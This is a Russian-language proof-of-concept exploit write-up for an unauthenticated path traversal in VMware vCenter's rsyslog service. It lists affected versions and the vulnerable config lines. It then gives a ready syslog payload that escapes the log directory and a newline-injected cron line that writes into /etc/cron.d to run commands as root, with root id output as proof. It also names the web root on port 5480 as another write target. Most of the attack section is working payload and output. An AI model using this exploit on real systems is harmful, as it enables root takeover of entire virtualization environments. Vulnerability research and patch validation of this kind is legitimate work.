
Python PoC и эксплойт для CVE-2026-59310 — обход пути в syslog VMware vCenter, приводящий к неаутентифицированному RCE с правами root через инъекцию в cron, с рекомендациями по обнаружению и очистке.
Отказ от ответственности: Этот проект предназначен только для авторизованного тестирования безопасности, проверки уязвимостей и исследований в области защиты. Используйте его только в средах с явным письменным разрешением. Пользователь несёт полную ответственность за любые последствия, вызванные злоупотреблением.
| Пункт | Содержание |
|---|---|
| Название уязвимости | Уязвимость обхода каталога в VMware vCenter Syslog |
| Идентификатор уязвимости | CVE-2026-59310 |
| Тип уязвимости | Обход каталога (Path Traversal) → запись произвольных файлов → удалённое выполнение кода |
| CVSS 3.1 | 9.8 (Critical) |
| Предусловия эксплуатации | Требуется только доступность порта syslog (по умолчанию UDP/TCP 514), учётные данные не нужны |
| Последствия эксплуатации | Запись по произвольному пути и выполнение произвольного кода с правами root |
| Дата публикации | 2026-07-29 |
| Эксплуатация в дикой природе | Обнаружена |
| Уведомление производителя | VMSA-2026-0006 |
Встроенная служба приёма syslog в vCenter (rsyslog) использует шаблон динамического пути для сохранения журналов. Шаблон напрямую подставляет поля APP-NAME и HOSTNAME из заголовка сообщения в путь к файлу без какой-либо очистки пути. Отправив специально сформированное сообщение на доступный порт syslog, злоумышленник может заставить путь записи выйти за пределы预定 каталога журналов, а затем в сочетании с заданиями планировщика добиться выполнения произвольного кода.
vCenter — это центральный узел управления виртуализацией; его компрометация равносильна потере контроля над всей средой vSphere / VCF.
Затронутые версии (ниже следующих исправленных версий)
| Ветка | Затронутый диапазон | Исправленная версия |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 начальная версия / U1 | Все | Обновление до 8.0 U3k или выше по поддерживаемому пути |
| 7.0 | Без установленного соответствующего патча расширенной поддержки | Обратитесь в Broadcom за патчем или перейдите на поддерживаемую версию |
Также затронуты: автономно развёрнутые vCenter, а также затронутые компоненты vCenter, используемые в VMware Cloud Foundation, VMware vSphere Foundation, VMware Telco Cloud.
Проверенная среда: VMware vCenter Server 9.0.2.0 / Build 25148086, предшествует исправленной версии 25629525, действительно находится в неисправленном состоянии.
/etc/rsyslog.conf (заводская конфигурация VMware по умолчанию):
29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"
%app-name% используется одновременно как имя каталога и имя файла, и очистка пути отсутствует.
63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
Требуется только совпадение по префиксу; злоумышленник может использовать rsyslog/..., чтобы попасть под это правило и войти в шаблон динамического пути.
24: $EscapeControlCharactersOnReceive off
Символы новой строки в содержимом сообщения записываются на диск как есть, что позволяет злоумышленнику управлять структурой строк записываемого файла.
Это наиболее часто упускаемое место данной уязвимости.
/ по умолчанию не допускается, что приводит к усечению APP-NAME на / → обход невозможен.APP-NAME — это отдельное поле, разделённое пробелами, проверка по белому списку символов не выполняется, / и .. сохраняются как есть → обход возможен.Серверная часть input(type="imudp" port="514") использует набор правил по умолчанию и одновременно принимает сообщения RFC5424. Злоумышленнику достаточно оформить сообщение в формате RFC5424, чтобы символы обхода напрямую попали в путь к файлу.
Сравнение по результатам тестирования (одна и та же полезная нагрузка rsyslog/../../../../tmp/x):
| Парсер | Фактическое значение %app-name% |
|---|---|
| pmrfc3164 | rsyslog ← усечено на / |
| pmrfc5424 | rsyslog/../../../../tmp/x ← сохранено полностью |
Косвенное подтверждение: чистый
..создаётся как литеральное имя каталога (например,rsyslog..), что указывает на то, что уровень omfile в rsyslog не выполняет нормализацию..; решающим фактором является способность парсера передать/в поле.
① Неаутентифицированный UDP-пакет → ② RFC5424 APP-NAME с обходом → ③ Выход из каталога журналов, произвольная запись (root)
↓
⑤ Выполнение кода с правами root ← ④ Внедрение задания планировщика в /etc/cron.d
<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello
Подстановка в шаблон:
Каталог = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED
Файл = то же самое + "-syslog.log" → /tmp/PWNED-syslog.log
Результат: запись с владельцем root в /tmp/PWNED-syslog.log, отсутствующие родительские каталоги создаются автоматически, содержимое полностью контролируется.
Имя записываемого файла всегда заканчивается на -syslog.log, поэтому напрямую перезаписать /etc/cron.d/xxx невозможно.
Однако благодаря проникновению символа новой строки можно внедрить перевод строки в MSG, заставив контролируемое содержимое начинаться с 0-й колонки файла:
2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← cron сообщает "bad minute", игнорируется
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← выполняется как допустимая строка cron
#
crond выполняет задание с правами root, получаем:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
/opt/vmware/share/htdocs/ (lighttpd слушает 5480),
затем чтение через https://<target>:5480/..., что соответствует описанию в уведомлении производителя./var/spool/cron/root: можно записать в этот каталог, но требуется сам файл с именем root,
что ограничено суффиксом -syslog.log, поэтому /etc/cron.d/ более прямолинейно.| Пункт | Значение |
|---|---|
| Цель | VMware vCenter Server 9.0.2.0, Build 25148086 |
| Исправленная версия | 9.0.2.0100, Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 (кастомный пакет VMware) |
| Порт syslog | UDP/TCP 514, TCP 1514 (TLS) |
| Требования аутентификации | Нет |
Запись произвольных файлов (без аутентификации)